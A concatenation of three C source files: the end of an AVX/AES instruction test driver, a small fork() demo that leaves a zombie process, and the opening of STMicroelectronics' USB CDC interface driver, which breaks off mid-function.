"vaeskeygenassist $0x00, %%xmm6, %%xmm7",
"vaeskeygenassist $0x00, (%%rax), %%xmm7")
GEN_test_RandM(VAESKEYGENASSIST_0x31,
"vaeskeygenassist $0x31, %%xmm6, %%xmm7",
"vaeskeygenassist $0x31, (%%rax), %%xmm7")
GEN_test_RandM(VAESKEYGENASSIST_0xB2,
"vaeskeygenassist $0xb2, %%xmm6, %%xmm7",
"vaeskeygenassist $0xb2, (%%rax), %%xmm7")
GEN_test_RandM(VAESKEYGENASSIST_0xFF,
"vaeskeygenassist $0xFF, %%xmm6, %%xmm7",
"vaeskeygenassist $0xFF, (%%rax), %%xmm7")
GEN_test_RandM(VPCLMULQDQ_0x00,
"vpclmulqdq $0x00, %%xmm6, %%xmm8, %%xmm7",
"vpclmulqdq $0x00, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPCLMULQDQ_0x01,
"vpclmulqdq $0x01, %%xmm6, %%xmm8, %%xmm7",
"vpclmulqdq $0x01, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPCLMULQDQ_0x10,
"vpclmulqdq $0x10, %%xmm6, %%xmm8, %%xmm7",
"vpclmulqdq $0x10, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPCLMULQDQ_0x11,
"vpclmulqdq $0x11, %%xmm6, %%xmm8, %%xmm7",
"vpclmulqdq $0x11, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPCLMULQDQ_0xFF,
"vpclmulqdq $0xFF, %%xmm6, %%xmm8, %%xmm7",
"vpclmulqdq $0xFF, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0x9,
"vcmpss $0x9, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $0x9, (%%rax), %%xmm8, %%xmm7")
GEN_test_Monly(VMASKMOVPS_128_LoadForm,
"vmaskmovps (%%rax), %%xmm8, %%xmm7;"
"vxorps %%xmm6, %%xmm6, %%xmm6;"
"vmaskmovps (%%rax,%%rax,4), %%xmm6, %%xmm9")
GEN_test_Monly(VMASKMOVPS_256_LoadForm,
"vmaskmovps (%%rax), %%ymm8, %%ymm7;"
"vxorps %%ymm6, %%ymm6, %%ymm6;"
"vmaskmovps (%%rax,%%rax,4), %%ymm6, %%ymm9")
GEN_test_Monly(VMASKMOVPD_128_LoadForm,
"vmaskmovpd (%%rax), %%xmm8, %%xmm7;"
"vxorpd %%xmm6, %%xmm6, %%xmm6;"
"vmaskmovpd (%%rax,%%rax,4), %%xmm6, %%xmm9")
GEN_test_Monly(VMASKMOVPD_256_LoadForm,
"vmaskmovpd (%%rax), %%ymm8, %%ymm7;"
"vxorpd %%ymm6, %%ymm6, %%ymm6;"
"vmaskmovpd (%%rax,%%rax,4), %%ymm6, %%ymm9")
GEN_test_Monly(VMASKMOVPS_128_StoreForm,
"vmaskmovps %%xmm8, %%xmm7, (%%rax);"
"vxorps %%xmm6, %%xmm6, %%xmm6;"
"vmaskmovps %%xmm9, %%xmm6, (%%rax,%%rax,4)")
GEN_test_Monly(VMASKMOVPS_256_StoreForm,
"vmaskmovps %%ymm8, %%ymm7, (%%rax);"
"vxorps %%ymm6, %%ymm6, %%ymm6;"
"vmaskmovps %%ymm9, %%ymm6, (%%rax,%%rax,4)")
GEN_test_Monly(VMASKMOVPD_128_StoreForm,
"vmaskmovpd %%xmm8, %%xmm7, (%%rax);"
"vxorpd %%xmm6, %%xmm6, %%xmm6;"
"vmaskmovpd %%xmm9, %%xmm6, (%%rax,%%rax,4)")
GEN_test_Monly(VMASKMOVPD_256_StoreForm,
"vmaskmovpd %%ymm8, %%ymm7, (%%rax);"
"vxorpd %%ymm6, %%ymm6, %%ymm6;"
"vmaskmovpd %%ymm9, %%ymm6, (%%rax,%%rax,4)")
/* Comment duplicated above, for convenient reference:
Allowed operands in test insns:
Reg form: %ymm6, %ymm7, %ymm8, %ymm9 and %r14.
Mem form: (%rax), %ymm7, %ymm8, %ymm9 and %r14.
Imm8 etc fields are also allowed, where they make sense.
Both forms may use ymm0 as scratch. Mem form may also use
ymm6 as scratch.
*/
#define N_DEFAULT_ITERS 3
// Do the specified test some number of times
#define DO_N(_iters, _testfn) \
do { int i; for (i = 0; i < (_iters); i++) { test_##_testfn(); } } while (0)
// Do the specified test the default number of times
#define DO_D(_testfn) DO_N(N_DEFAULT_ITERS, _testfn)
int main ( void )
{
DO_D( VMOVUPD_EtoG_256 );
DO_D( VMOVUPD_GtoE_256 );
DO_D( VPSUBW_128 );
DO_D( VPSUBQ_128 );
DO_D( VPADDQ_128 );
DO_D( VPINSRQ_128 );
DO_D( VUCOMISS_128 );
DO_D( VUCOMISD_128 );
DO_D( VCVTPS2PD_128 );
DO_D( VANDNPD_128 );
DO_D( VORPD_128 );
DO_D( VXORPD_128 );
DO_D( VXORPS_128 );
DO_D( VMULSD_128 );
DO_D( VADDSD_128 );
DO_D( VMINSD_128 );
DO_D( VSUBSD_128 );
DO_D( VDIVSD_128 );
DO_D( VMAXSD_128 );
DO_D( VPSHUFD_0x39_128 );
DO_D( VPCMPEQD_128 );
DO_D( VPEXTRD_128_0x3 );
DO_D( VPEXTRD_128_0x0 );
DO_D( VINSERTF128_0x0 );
DO_D( VINSERTF128_0x1 );
DO_D( VEXTRACTF128_0x0 );
DO_D( VEXTRACTF128_0x1 );
DO_D( VCVTPD2PS_128 );
/* Test all CMPSS variants; this code is tricky. */
DO_D( VCMPSS_128_0x0 );
DO_D( VCMPSS_128_0x1 );
DO_D( VCMPSS_128_0x2 );
DO_D( VCMPSS_128_0x3 );
DO_D( VCMPSS_128_0x4 );
DO_D( VCMPSS_128_0x5 );
DO_D( VCMPSS_128_0x6 );
DO_D( VCMPSS_128_0x7 );
DO_D( VCMPSS_128_0x8 );
DO_D( VCMPSS_128_0xA );
DO_D( VCMPSS_128_0xC );
DO_D( VCMPSS_128_0xC );
DO_D( VCMPSS_128_0xD );
DO_D( VCMPSS_128_0xE );
DO_D( VCMPSS_128_0x11 );
DO_D( VCMPSS_128_0x12);
DO_D( VCMPSS_128_0x16 );
DO_D( VCMPSS_128_0x1E );
DO_D( VMOVDDUP_XMMorMEM64_to_XMM );
DO_D( VMOVD_IREGorMEM32_to_XMM );
DO_D( VMOVQ_XMM_MEM64 );
DO_D( VMOVDQA_GtoE_256 );
DO_D( VMOVDQA_GtoE_128 );
DO_D( VMOVDQU_GtoE_128 );
DO_D( VMOVDQA_EtoG_256 );
DO_D( VMOVDQA_EtoG_128 );
DO_D( VMOVDQU_EtoG_128 );
DO_D( VMOVAPD_GtoE_128 );
DO_D( VMOVAPD_GtoE_256 );
DO_D( VMOVAPS_GtoE_128 );
DO_D( VMOVAPS_GtoE_256 );
DO_D( VMOVAPS_EtoG_128 );
DO_D( VMOVAPD_EtoG_256 );
DO_D( VMOVAPD_EtoG_128 );
DO_D( VMOVUPD_GtoE_128 );
DO_D( VMOVSS_XMM_M32 );
DO_D( VMOVSD_XMM_M64 );
DO_D( VMOVSS_M64_XMM );
DO_D( VMOVSD_M64_XMM );
DO_D( VINSERTPS_0x39_128 );
DO_D( VPUNPCKLDQ_128 );
DO_D( VPACKSSDW_128 );
DO_D( VPADDW_128 );
DO_D( VPSRLW_0x05_128 );
DO_D( VPSLLW_0x05_128 );
DO_D( VPUNPCKLQDQ_128 );
DO_D( VPINSRD_128 );
DO_D( VMOVD_XMM_to_MEM32 );
DO_D( VPANDN_128 );
DO_D( VPSLLDQ_0x05_128 );
DO_D( VPSRLDQ_0x05_128 );
DO_D( VPSUBUSB_128 );
DO_D( VPSUBSB_128 );
DO_D( VPSLLD_0x05_128 );
DO_D( VPSRLD_0x05_128 );
DO_D( VPSRAD_0x05_128 );
DO_D( VPUNPCKLWD_128 );
DO_D( VPUNPCKHWD_128 );
DO_D( VPADDUSB_128 );
DO_D( VPMULHUW_128 );
DO_D( VPADDUSW_128 );
DO_D( VPMULLW_128 );
DO_D( VPSHUFHW_0x39_128 );
DO_D( VPSHUFLW_0x39_128 );
DO_D( VCVTPS2DQ_128 );
DO_D( VSUBPS_128 );
DO_D( VADDPS_128 );
DO_D( VMULPS_128 );
DO_D( VMAXPS_128 );
DO_D( VMINPS_128 );
DO_D( VSHUFPS_0x39_128 );
DO_D( VPCMPEQB_128 );
DO_D( VMOVHPD_128_StoreForm );
DO_D( VPAND_128 );
DO_D( VPMOVMSKB_128 );
DO_D( VCVTTSS2SI_64 );
DO_D( VPACKUSWB_128 );
DO_D( VCVTSS2SD_128 );
DO_D( VCVTSD2SS_128 );
DO_D( VMOVD_XMM_to_IREG32 );
DO_D( VPCMPESTRM_0x45_128 );
DO_D( VMOVQ_IREGorMEM64_to_XMM );
DO_D( VMOVUPS_XMM_to_XMMorMEM );
DO_D( VMOVNTDQ_128 );
DO_D( VMOVLHPS_128 );
DO_D( VPABSD_128 );
DO_D( VMOVHLPS_128 );
DO_D( VMOVQ_XMM_to_IREG64 );
DO_D( VMOVQ_XMMorMEM64_to_XMM );
DO_D( VCVTTSS2SI_32 );
DO_D( VPUNPCKLBW_128 );
DO_D( VPUNPCKHBW_128 );
DO_D( VMULSS_128 );
DO_D( VSUBSS_128 );
DO_D( VADDSS_128 );
DO_D( VDIVSS_128 );
DO_D( VUNPCKLPS_128 );
DO_D( VCVTSI2SS_128 );
DO_D( VANDPS_128 );
DO_D( VMINSS_128 );
DO_D( VMAXSS_128 );
DO_D( VANDNPS_128 );
DO_D( VORPS_128 );
DO_D( VSQRTSD_128 );
/* Test all CMPSS variants; this code is tricky. */
DO_D( VCMPSD_128_0x0 );
DO_D( VCMPSD_128_0x1 );
DO_D( VCMPSD_128_0x2 );
DO_D( VCMPSD_128_0x3 );
DO_D( VCMPSD_128_0x4 );
DO_D( VCMPSD_128_0x5 );
DO_D( VCMPSD_128_0x6 );
DO_D( VCMPSD_128_0x7 );
DO_D( VCMPSD_128_0x8 );
DO_D( VCMPSD_128_0xA );
DO_D( VCMPSD_128_0xC );
DO_D( VCMPSD_128_0xD );
DO_D( VCMPSD_128_0xE );
DO_D( VCMPSD_128_0x11 );
DO_D( VCMPSD_128_0x12 );
DO_D( VCMPSD_128_0x16 );
DO_D( VCMPSD_128_0x1E );
DO_D( VPSHUFB_128 );
DO_D( VCVTTSD2SI_32 );
DO_D( VCVTTSD2SI_64 );
DO_D( VCVTSI2SS_64 );
DO_D( VCVTSI2SD_64 );
DO_D( VCVTSI2SD_32 );
DO_D( VPOR_128 );
DO_D( VPXOR_128 );
DO_D( VPSUBB_128 );
DO_D( VPSUBD_128 );
DO_D( VPADDD_128 );
DO_D( VPMOVZXBW_128 );
DO_D( VPMOVZXWD_128 );
DO_D( VPBLENDVB_128 );
DO_D( VPMINSD_128 );
DO_D( VPMAXSD_128 );
DO_D( VANDPD_128 );
DO_D( VMULPD_256 );
DO_D( VMOVUPD_EtoG_128 );
DO_D( VADDPD_256 );
DO_D( VSUBPD_256 );
DO_D( VDIVPD_256 );
DO_D( VPCMPEQQ_128 );
DO_D( VSUBPD_128 );
DO_D( VADDPD_128 );
DO_D( VUNPCKLPD_128 );
DO_D( VUNPCKHPD_128 );
DO_D( VUNPCKHPS_128 );
DO_D( VMOVUPS_EtoG_128 );
DO_D( VADDPS_256 );
DO_D( VSUBPS_256 );
DO_D( VMULPS_256 );
DO_D( VDIVPS_256 );
DO_D( VPCMPGTQ_128 );
DO_D( VPEXTRQ_128_0x0 );
DO_D( VPEXTRQ_128_0x1 );
DO_D( VPSRLQ_0x05_128 );
DO_D( VPMULUDQ_128 );
DO_D( VPSLLQ_0x05_128 );
DO_D( VPMAXUD_128 );
DO_D( VPMINUD_128 );
DO_D( VPMULLD_128 );
DO_D( VPMAXUW_128 );
DO_D( VPEXTRW_128_EregOnly_toG_0x0 );
DO_D( VPEXTRW_128_EregOnly_toG_0x7 );
DO_D( VPMINUW_128 );
DO_D( VPHMINPOSUW_128 );
DO_D( VPMAXSW_128 );
DO_D( VPMINSW_128 );
DO_D( VPMAXUB_128 );
DO_D( VPEXTRB_GtoE_128_0x0 );
DO_D( VPEXTRB_GtoE_128_0x1 );
DO_D( VPEXTRB_GtoE_128_0x2 );
DO_D( VPEXTRB_GtoE_128_0x3 );
DO_D( VPEXTRB_GtoE_128_0x4 );
DO_D( VPEXTRB_GtoE_128_0x9 );
DO_D( VPEXTRB_GtoE_128_0xE );
DO_D( VPEXTRB_GtoE_128_0xF );
DO_D( VPMINUB_128 );
DO_D( VPMAXSB_128 );
DO_D( VPMINSB_128 );
DO_D( VPERM2F128_0x00 );
DO_D( VPERM2F128_0xFF );
DO_D( VPERM2F128_0x30 );
DO_D( VPERM2F128_0x21 );
DO_D( VPERM2F128_0x12 );
DO_D( VPERM2F128_0x03 );
DO_D( VPERM2F128_0x85 );
DO_D( VPERM2F128_0x5A );
DO_D( VPERMILPD_256_0x0 );
DO_D( VPERMILPD_256_0xF );
DO_D( VPERMILPD_256_0xA );
DO_D( VPERMILPD_256_0x5 );
DO_D( VPERMILPD_128_0x0 );
DO_D( VPERMILPD_128_0x3 );
DO_D( VUNPCKLPD_256 );
DO_D( VUNPCKHPD_256 );
DO_D( VSHUFPS_0x39_256 );
DO_D( VUNPCKLPS_256 );
DO_D( VUNPCKHPS_256 );
DO_D( VXORPD_256 );
DO_D( VBROADCASTSD_256 );
DO_D( VCMPPD_128_0x4 );
DO_D( VCVTDQ2PD_128 );
DO_D( VDIVPD_128 );
DO_D( VANDPD_256 );
DO_D( VPMOVSXBW_128 );
DO_D( VPSUBUSW_128 );
DO_D( VPSUBSW_128 );
DO_D( VPCMPEQW_128 );
DO_D( VPADDB_128 );
DO_D( VMOVAPS_EtoG_256 );
DO_D( VCVTDQ2PD_256 );
DO_D( VMOVHPD_128_LoadForm );
DO_D( VCVTPD2PS_256 );
DO_D( VPUNPCKHDQ_128 );
DO_D( VBROADCASTSS_128 );
DO_D( VPMOVSXDQ_128 );
DO_D( VPMOVSXWD_128 );
DO_D( VDIVPS_128 );
DO_D( VANDPS_256 );
DO_D( VXORPS_256 );
DO_D( VORPS_256 );
DO_D( VANDNPD_256 );
DO_D( VANDNPS_256 );
DO_D( VORPD_256 );
DO_D( VPERMILPS_256_0x0F );
DO_D( VPERMILPS_256_0xFA );
DO_D( VPERMILPS_256_0xA3 );
DO_D( VPERMILPS_256_0x5A );
DO_D( VPMULHW_128 );
DO_D( VPUNPCKHQDQ_128 );
DO_D( VPSRAW_0x05_128 );
DO_D( VPCMPGTD_128 );
DO_D( VPMOVZXBD_128 );
DO_D( VPMOVSXBD_128 );
DO_D( VPINSRB_128_1of3 );
DO_D( VPINSRB_128_2of3 );
DO_D( VPINSRB_128_3of3 );
DO_D( VCOMISD_128 );
DO_D( VCOMISS_128 );
DO_D( VMOVUPS_YMM_to_YMMorMEM );
DO_D( VDPPD_128_1of4 );
DO_D( VDPPD_128_2of4 );
DO_D( VDPPD_128_3of4 );
DO_D( VDPPD_128_4of4 );
DO_D( VPINSRW_128_1of4 );
DO_D( VPINSRW_128_2of4 );
DO_D( VPINSRW_128_3of4 );
DO_D( VPINSRW_128_4of4 );
DO_D( VBROADCASTSS_256 );
DO_D( VPALIGNR_128_1of3 );
DO_D( VPALIGNR_128_2of3 );
DO_D( VPALIGNR_128_3of3 );
DO_D( VMOVSD_REG_XMM );
DO_D( VMOVSS_REG_XMM );
DO_D( VMOVLPD_128_M64_XMM_XMM );
DO_D( VMOVLPD_128_XMM_M64 );
DO_D( VSHUFPD_128_1of2 );
DO_D( VSHUFPD_128_2of2 );
DO_D( VSHUFPD_256_1of2 );
DO_D( VSHUFPD_256_2of2 );
DO_D( VPERMILPS_128_0x00 );
DO_D( VPERMILPS_128_0xFE );
DO_D( VPERMILPS_128_0x30 );
DO_D( VPERMILPS_128_0x21 );
DO_D( VPERMILPS_128_0xD7 );
DO_D( VPERMILPS_128_0xB5 );
DO_D( VPERMILPS_128_0x85 );
DO_D( VPERMILPS_128_0x29 );
DO_D( VBLENDPS_128_1of3 );
DO_D( VBLENDPS_128_2of3 );
DO_D( VBLENDPS_128_3of3 );
DO_D( VBLENDPD_128_1of2 );
DO_D( VBLENDPD_128_2of2 );
DO_D( VBLENDPD_256_1of3 );
DO_D( VBLENDPD_256_2of3 );
DO_D( VBLENDPD_256_3of3 );
DO_D( VPBLENDW_128_0x00 );
DO_D( VPBLENDW_128_0xFE );
DO_D( VPBLENDW_128_0x30 );
DO_D( VPBLENDW_128_0x21 );
DO_D( VPBLENDW_128_0xD7 );
DO_D( VPBLENDW_128_0xB5 );
DO_D( VPBLENDW_128_0x85 );
DO_D( VPBLENDW_128_0x29 );
DO_D( VMOVUPS_EtoG_256 );
DO_D( VSQRTSS_128 );
DO_D( VSQRTPS_128 );
DO_D( VSQRTPS_256 );
DO_D( VSQRTPD_128 );
DO_D( VSQRTPD_256 );
DO_D( VRSQRTSS_128 );
DO_D( VRSQRTPS_128 );
DO_D( VRSQRTPS_256 );
DO_D( VMOVDQU_GtoE_256 );
DO_D( VCVTPS2PD_256 );
DO_D( VCVTTPS2DQ_128 );
DO_D( VCVTTPS2DQ_256 );
DO_D( VCVTDQ2PS_128 );
DO_D( VCVTDQ2PS_256 );
DO_D( VCVTTPD2DQ_128 );
DO_D( VCVTTPD2DQ_256 );
DO_D( VCVTPD2DQ_128 );
DO_D( VCVTPD2DQ_256 );
DO_D( VMOVSLDUP_128 );
DO_D( VMOVSLDUP_256 );
DO_D( VMOVSHDUP_128 );
DO_D( VMOVSHDUP_256 );
DO_D( VPERMILPS_VAR_128 );
DO_D( VPERMILPD_VAR_128 );
DO_D( VPERMILPS_VAR_256 );
DO_D( VPERMILPD_VAR_256 );
DO_D( VPSLLW_128 );
DO_D( VPSRLW_128 );
DO_D( VPSRAW_128 );
DO_D( VPSLLD_128 );
DO_D( VPSRLD_128 );
DO_D( VPSRAD_128 );
DO_D( VPSLLQ_128 );
DO_D( VPSRLQ_128 );
DO_D( VROUNDPS_128_0x0 );
DO_D( VROUNDPS_128_0x1 );
DO_D( VROUNDPS_128_0x2 );
DO_D( VROUNDPS_128_0x3 );
DO_D( VROUNDPS_128_0x4 );
DO_D( VROUNDPS_256_0x0 );
DO_D( VROUNDPS_256_0x1 );
DO_D( VROUNDPS_256_0x2 );
DO_D( VROUNDPS_256_0x3 );
DO_D( VROUNDPS_256_0x4 );
DO_D( VROUNDPD_128_0x0 );
DO_D( VROUNDPD_128_0x1 );
DO_D( VROUNDPD_128_0x2 );
DO_D( VROUNDPD_128_0x3 );
DO_D( VROUNDPD_128_0x4 );
DO_D( VROUNDPD_256_0x0 );
DO_D( VROUNDPD_256_0x1 );
DO_D( VROUNDPD_256_0x2 );
DO_D( VROUNDPD_256_0x3 );
DO_D( VROUNDPD_256_0x4 );
DO_D( VROUNDSS_0x0 );
DO_D( VROUNDSS_0x1 );
DO_D( VROUNDSS_0x2 );
DO_D( VROUNDSS_0x3 );
DO_D( VROUNDSS_0x4 );
DO_D( VROUNDSS_0x5 );
DO_D( VROUNDSD_0x0 );
DO_D( VROUNDSD_0x1 );
DO_D( VROUNDSD_0x2 );
DO_D( VROUNDSD_0x3 );
DO_D( VROUNDSD_0x4 );
DO_D( VROUNDSD_0x5 );
DO_D( VPTEST_128_1 );
DO_D( VPTEST_128_2 );
DO_D( VPTEST_256_1 );
DO_D( VPTEST_256_2 );
DO_D( VTESTPS_128_1 );
DO_D( VTESTPS_128_2 );
DO_N( 10, VTESTPS_128_3 );
DO_D( VTESTPS_256_1 );
DO_D( VTESTPS_256_2 );
DO_N( 10, VTESTPS_256_3 );
DO_D( VTESTPD_128_1 );
DO_D( VTESTPD_128_2 );
DO_N( 10, VTESTPD_128_3 );
DO_D( VTESTPD_256_1 );
DO_D( VTESTPD_256_2 );
DO_N( 10, VTESTPD_256_3 );
DO_D( VBLENDVPS_128 );
DO_D( VBLENDVPS_256 );
DO_D( VBLENDVPD_128 );
DO_D( VBLENDVPD_256 );
DO_D( VPMULDQ_128 );
DO_D( VCMPPD_256_0x4 );
DO_D( VCMPPS_128_0x4 );
DO_D( VCMPPS_256_0x4 );
DO_D( VPCMPGTB_128 );
DO_D( VPCMPGTW_128 );
DO_D( VPMADDWD_128 );
DO_D( VADDSUBPS_128 );
DO_D( VADDSUBPS_256 );
DO_D( VADDSUBPD_128 );
DO_D( VADDSUBPD_256 );
DO_D( VCVTSS2SI_64 );
DO_D( VCVTSS2SI_32 );
DO_D( VCVTSD2SI_32 );
DO_D( VCVTSD2SI_64 );
DO_D( VDPPS_128_1of4 );
DO_D( VDPPS_128_2of4 );
DO_D( VDPPS_128_3of4 );
DO_D( VDPPS_128_4of4 );
DO_D( VDPPS_256_1of4 );
DO_D( VDPPS_256_2of4 );
DO_D( VDPPS_256_3of4 );
DO_D( VDPPS_256_4of4 );
DO_D( VHADDPS_128 );
DO_D( VHADDPS_256 );
DO_D( VHADDPD_128 );
DO_D( VHADDPD_256 );
DO_D( VHSUBPS_128 );
DO_D( VHSUBPS_256 );
DO_D( VHSUBPD_128 );
DO_D( VHSUBPD_256 );
DO_D( VEXTRACTPS_0x0 );
DO_D( VEXTRACTPS_0x1 );
DO_D( VEXTRACTPS_0x2 );
DO_D( VEXTRACTPS_0x3 );
DO_D( VLDDQU_128 );
DO_D( VLDDQU_256 );
DO_D( VMAXPS_256 );
DO_D( VMAXPD_128 );
DO_D( VMAXPD_256 );
DO_D( VMINPS_256 );
DO_D( VMINPD_128 );
DO_D( VMINPD_256 );
DO_D( VMOVHPS_128_StoreForm );
DO_D( VMOVNTDQ_256 );
DO_D( VMOVHPS_128_LoadForm );
DO_D( VMOVNTDQA_128 );
DO_D( VMASKMOVDQU_128 );
DO_D( VMOVMSKPD_128 );
DO_D( VMOVMSKPD_256 );
DO_D( VMOVMSKPS_128 );
DO_D( VMOVMSKPS_256 );
DO_D( VMOVNTPD_128 );
DO_D( VMOVNTPD_256 );
DO_D( VMOVNTPS_128 );
DO_D( VMOVNTPS_256 );
DO_D( VPACKSSWB_128 );
DO_D( VPAVGB_128 );
DO_D( VPAVGW_128 );
DO_D( VPADDSB_128 );
DO_D( VPADDSW_128 );
DO_D( VPHADDW_128 );
DO_D( VPHADDD_128 );
DO_D( VPHADDSW_128 );
DO_D( VPMADDUBSW_128 );
DO_D( VPHSUBW_128 );
DO_D( VPHSUBD_128 );
DO_D( VPHSUBSW_128 );
DO_D( VPABSB_128 );
DO_D( VPABSW_128 );
DO_D( VPMOVSXBQ_128 );
DO_D( VPMOVSXWQ_128 );
DO_D( VPACKUSDW_128 );
DO_D( VPMOVZXBQ_128 );
DO_D( VPMOVZXWQ_128 );
DO_D( VPMOVZXDQ_128 );
DO_D( VMPSADBW_128_0x0 );
DO_D( VMPSADBW_128_0x1 );
DO_D( VMPSADBW_128_0x2 );
DO_D( VMPSADBW_128_0x3 );
DO_D( VMPSADBW_128_0x4 );
DO_D( VMPSADBW_128_0x5 );
DO_D( VMPSADBW_128_0x6 );
DO_D( VMPSADBW_128_0x7 );
DO_D( VMOVDDUP_YMMorMEM256_to_YMM );
DO_D( VMOVLPS_128_M64_XMM_XMM );
DO_D( VMOVLPS_128_XMM_M64 );
DO_D( VRCPSS_128 );
DO_D( VRCPPS_128 );
DO_D( VRCPPS_256 );
DO_D( VPSADBW_128 );
DO_D( VPSIGNB_128 );
DO_D( VPSIGNW_128 );
DO_D( VPSIGND_128 );
DO_D( VPMULHRSW_128 );
DO_D( VBROADCASTF128 );
DO_D( VPEXTRW_128_0x0 );
DO_D( VPEXTRW_128_0x1 );
DO_D( VPEXTRW_128_0x2 );
DO_D( VPEXTRW_128_0x3 );
DO_D( VPEXTRW_128_0x4 );
DO_D( VPEXTRW_128_0x5 );
DO_D( VPEXTRW_128_0x6 );
DO_D( VPEXTRW_128_0x7 );
DO_D( VAESENC );
DO_D( VAESENCLAST );
DO_D( VAESDEC );
DO_D( VAESDECLAST );
DO_D( VAESIMC );
DO_D( VAESKEYGENASSIST_0x00 );
DO_D( VAESKEYGENASSIST_0x31 );
DO_D( VAESKEYGENASSIST_0xB2 );
DO_D( VAESKEYGENASSIST_0xFF );
DO_D( VPCLMULQDQ_0x00 );
DO_D( VPCLMULQDQ_0x01 );
DO_D( VPCLMULQDQ_0x10 );
DO_D( VPCLMULQDQ_0x11 );
DO_D( VPCLMULQDQ_0xFF );
DO_D( VCMPSS_128_0x9 );
DO_D( VMASKMOVPS_128_LoadForm );
DO_D( VMASKMOVPS_256_LoadForm );
DO_D( VMASKMOVPD_128_LoadForm );
DO_D( VMASKMOVPD_256_LoadForm );
DO_D( VMASKMOVPS_128_StoreForm );
DO_D( VMASKMOVPS_256_StoreForm );
DO_D( VMASKMOVPD_128_StoreForm );
DO_D( VMASKMOVPD_256_StoreForm );
return 0;
}
|
the_stack_data/101701696.c
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <errno.h>
int main ()
{
pid_t child_pid;
int child_status;
child_pid = fork ();
if (child_pid > 0) {
// parent process will sleep for 60 seconds and exit, without a call to wait()
fprintf(stderr,"parent process - %d\n", getpid());
sleep(60);
exit(0);
}
else if (child_pid == 0) {
// child process will exit immediately
fprintf(stderr,"child process - %d\n", getpid());
exit(0);
}
else if (child_pid == -1) {
// fork() error
perror("fork() call failed");
exit (-1);
}
else {
// this should not happen
fprintf(stderr, "unknown return value of %d from fork() call", child_pid);
exit (-2);
}
return 0;
}
|
the_stack_data/291712.c
|
/**
******************************************************************************
* @file usbd_cdc_if.c
* @author MCD Application Team
* @brief Generic media access Layer.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2015 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under Ultimate Liberty license
* SLA0044, the "License"; You may not use this file except in compliance with
* the License. You may obtain a copy of the License at:
* http://www.st.com/SLA0044
*
******************************************************************************
*/
#ifdef USBCON
#ifdef USBD_USE_CDC
/* Includes ------------------------------------------------------------------*/
#include "usbd_desc.h"
#include "usbd_cdc_if.h"
#ifdef USE_USB_HS
#define CDC_MAX_PACKET_SIZE USB_OTG_HS_MAX_PACKET_SIZE
#elif defined(USB_OTG_FS) || defined(USB_OTG_FS_MAX_PACKET_SIZE)
#define CDC_MAX_PACKET_SIZE USB_OTG_FS_MAX_PACKET_SIZE
#else /* USB */
#define CDC_MAX_PACKET_SIZE USB_MAX_EP0_SIZE
#endif
/*
* The value USB_CDC_TRANSMIT_TIMEOUT is defined in terms of HAL_GetTick() units.
* Typically it is 1ms value. The timeout determines when we would consider the
* host "too slow" and threat the USB CDC port as disconnected.
*/
#ifndef USB_CDC_TRANSMIT_TIMEOUT
#define USB_CDC_TRANSMIT_TIMEOUT 3
#endif
/* USBD_CDC Private Variables */
/* USB Device Core CDC handle declaration */
USBD_HandleTypeDef hUSBD_Device_CDC;
static bool CDC_initialized = false;
/* Received Data over USB are stored in this buffer */
CDC_TransmitQueue_TypeDef TransmitQueue;
CDC_ReceiveQueue_TypeDef ReceiveQueue;
__IO uint32_t lineState = 0;
__IO bool receivePended = true;
static uint32_t transmitStart = 0;
/** USBD_CDC Private Function Prototypes */
static int8_t USBD_CDC_Init(void);
static int8_t USBD_CDC_DeInit(void);
static int8_t USBD_CDC_Control(uint8_t cmd, uint8_t *pbuf, uint16_t length);
static int8_t USBD_CDC_Receive(uint8_t *pbuf, uint32_t *Len);
static int8_t USBD_CDC_Transferred(void);
USBD_CDC_ItfTypeDef USBD_CDC_fops = {
USBD_CDC_Init,
USBD_CDC_DeInit,
USBD_CDC_Control,
USBD_CDC_Receive,
USBD_CDC_Transferred
};
USBD_CDC_LineCodingTypeDef linecoding = {
115200, /* baud rate*/
0x00, /* stop bits-1*/
0x00, /* parity - none*/
0x08 /* nb. of bits 8*/
};
/* Private functions ---------------------------------------------------------*/
/**
* @brief USBD_CDC_Init
* Initializes the CDC media low layer
* @param None
* @retval Result of the operation: USBD_OK if all operations are OK else USBD_FAIL
*/
static int8_t USBD_CDC_Init(void)
{
/* Set Application Buffers */
CDC_TransmitQueue_Init(&TransmitQueue);
CDC_ReceiveQueue_Init(&ReceiveQueue);
receivePended = true;
USBD_CDC_SetRxBuffer(&hUSBD_Device_CDC, CDC_ReceiveQueue_ReserveBlock(&ReceiveQueue));
return (USBD_OK);
}
/**
* @brief USBD_CDC_DeInit
* DeInitializes the CDC media low layer
* @param None
* @retval Result of the operation: USBD_OK if all operations are OK else USBD_FAIL
*/
static int8_t USBD_CDC_DeInit(void)
{
return (USBD_OK);
}
/**
* @brief USBD_CDC_Control
* Manage the CDC class requests
* @param cmd: Command code
* @param pbuf: Buffer containing command data (request parameters)
* @param length: Number of data to be sent (in bytes)
* @retval Result of the operation: USBD_OK if all operations are OK else USBD_FAIL
*/
static int8_t USBD_CDC_Control(uint8_t cmd, uint8_t *pbuf, uint16_t length)
{
UNUSED(length);
switch (cmd) {
case CDC_SEND_ENCAPSULATED_COMMAND:
break;
case CDC_GET_ENCAPSULATED_RESPONSE:
break;
case CDC_SET_COMM_FEATURE:
break;
case CDC_GET_COMM_FEATURE:
break;
case CDC_CLEAR_COMM_FEATURE:
break;
/*******************************************************************************/
/* Line Coding Structure */
/*-----------------------------------------------------------------------------*/
/* Offset | Field | Size | Value | Description */
/* 0 | dwDTERate | 4 | Number |Data terminal rate, in bits per second*/
/* 4 | bCharFormat | 1 | Number | Stop bits */
/* 0 - 1 Stop bit */
/* 1 - 1.5 Stop bits */
/* 2 - 2 Stop bits */
/* 5 | bParityType | 1 | Number | Parity */
/* 0 - None */
/* 1 - Odd */
/* 2 - Even */
/* 3 - Mark */
/* 4 - Space */
/* 6 | bDataBits | 1 | Number Data bits (5, 6, 7, 8 or 16). */
/*******************************************************************************/
case CDC_SET_LINE_CODING:
